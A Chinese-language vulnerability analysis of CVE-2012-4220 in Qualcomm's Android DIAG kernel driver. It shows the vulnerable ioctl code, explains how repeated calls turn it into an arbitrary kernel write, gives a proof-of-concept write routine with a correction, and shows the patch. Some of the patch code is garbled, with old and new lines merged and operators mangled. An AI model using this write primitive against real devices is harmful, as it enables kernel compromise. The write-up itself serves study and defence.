0x0 漏洞信息
https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012
0x1 漏洞描述
Android 2.3-4.2使用的Qualcomm Innovation Center (QuIC) Diagnostics内核模式驱动程序diagchar_core.c在实现上存在整数溢出漏洞,通过向diagchar_ioctl内传递特制的输入,远程攻击者可利用此漏洞执行任意代码或造成拒绝服务.
0x2 代码分析
struct diagpkt_delay_params
{
void *rsp_ptr;
int size;
int *num_bytes_ptr;
};
else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID)
{
struct diagpkt_delay_params *delay_params =(struct diagpkt_delay_params *) ioarg;
if ( (delay_params->rsp_ptr)
&&(delay_params->size == sizeof(delayed_rsp_id))
&&(delay_params->num_bytes_ptr) )
{
*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
success = 0;
}
}
以上代码有两个问题:
(1).DIAG在处理DIAG_IOCTL_GET_DELAYED_RSP_ID这个ioctl code的时候没有做任何校验就直接使用了,传递一个无效的指针就可以造成拒绝服务
(2).delay_params中的rsp_ptr和num_bytes_ptr仅做了非空的判断就拿来使用,如果传入了无效的指针或者地址就可以造成拒绝服务或任意地址写入的漏洞.
0x3 如何利用
//宏定义如下
static uint16_t delayed_rsp_id = 1;
#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
#define DIAGPKT_NEXT_DELAYED_RSP_ID(x) \
((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
DIAGPKT_NEXT_DELAYED_RSP_ID这个宏每调用一次,delayed_rsp_id的值都会+1,直到0xFFFF最大值.
*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
这个漏洞就是要将delay_params->rsp_ptr设置成想写入的地址,而delay_params->rsp_ptr 是被当作一个16位的指针处理,得到的是delayed_rsp_id的值,它的取值范围是0x2 - 0xFFFF.如果想要往指定的地址写入指定的值,需要先获取当前delayed_rsp_id的值,然后再用目标值减去当前值,得到循环的次数.如果delayed_rsp_id的值比我们需要的值大,那么就通过delay_params->num_bytes_ptr重置它为2.
0x4 Poc
static bool inject_value(struct diag_values *data,int fd, void *delayed_rsp_id_address)
{
uint16_t delayed_rsp_id_value = 0;
int i, loop_count, ret;
//获取当前delayed_rsp_id的值
ret = get_current_delayed_rsp_id(fd);
if (ret < 0)
{
return false;
}
delayed_rsp_id_value = ret;
data->original_value = delayed_rsp_id_value;
//如果delayed_rsp_id的值比我们需要的值大,那么就重置为2
if (delayed_rsp_id_value > data->value
&&reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0)
{
return false;
}
//得到循环的次数,并且 &0xffff ,将除低16位的值全部置0
loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
for (i = 0; i < loop_count; i++)
{
int unused;
if (send_delay_params(fd, (void *)data->address, &unused) < 0)
{
return false;
}
}
return true;
}
代码中有个小问题,当delayed_rsp_id_value > data->value时,会重置delayed_rsp_id为2,但是delayed_rsp_id_value的值没有被重置,所以有可能会导致loop_count的次数不正确.所以为了准确的计算循环的次数,应该每次都将计数值重置为2.
auto ret = reset_delayed_rsp_id();
if (ret < 0)
{
return false;
}
size_t loop_count = (value - 2) & 0xffff;
0x5 漏洞修复
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b
else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID)
{
struct diagpkt_delay_params *delay_params =(struct diagpkt_delay_params *) ioarg;
if ( (delay_params>rsp_ptr)
&&(delay_params>size == sizeof(delayed_rsp_id))
&&(delay_params>num_bytes_ptr))
{
*((uint16_t *)delay_params>rsp_ptr) =DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
*(delay_params>num_bytes_ptr) = sizeof(delayed_rsp_id);
struct diagpkt_delay_params delay_params;
uint16_t interim_rsp_id;
int interim_size;
//使用copy_from_user和copy_to_user来校验传入参数的正确性
if (copy_from_user(&delay_params, (void *)ioarg,sizeof(struct diagpkt_delay_params)))
return EFAULT;
if ( (delay_params.rsp_ptr)
&&(delay_params.size == sizeof(delayed_rsp_id))
&&(delay_params.num_bytes_ptr))
{
interim_rsp_id = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
if (copy_to_user((void *)delay_params.rsp_ptr,&interim_rsp_id, sizeof(uint16_t)))
return EFAULT;
interim_size = sizeof(delayed_rsp_id);
if (copy_to_user((void *)delay_params.num_bytes_ptr,&interim_size, sizeof(int)))
return EFAULT;
success = 0;
}
}
}
参考文章:
http://blog.csdn.net/hu3167343/article/details/36180761
http://thecjw.0ginr.com/blog/archives/372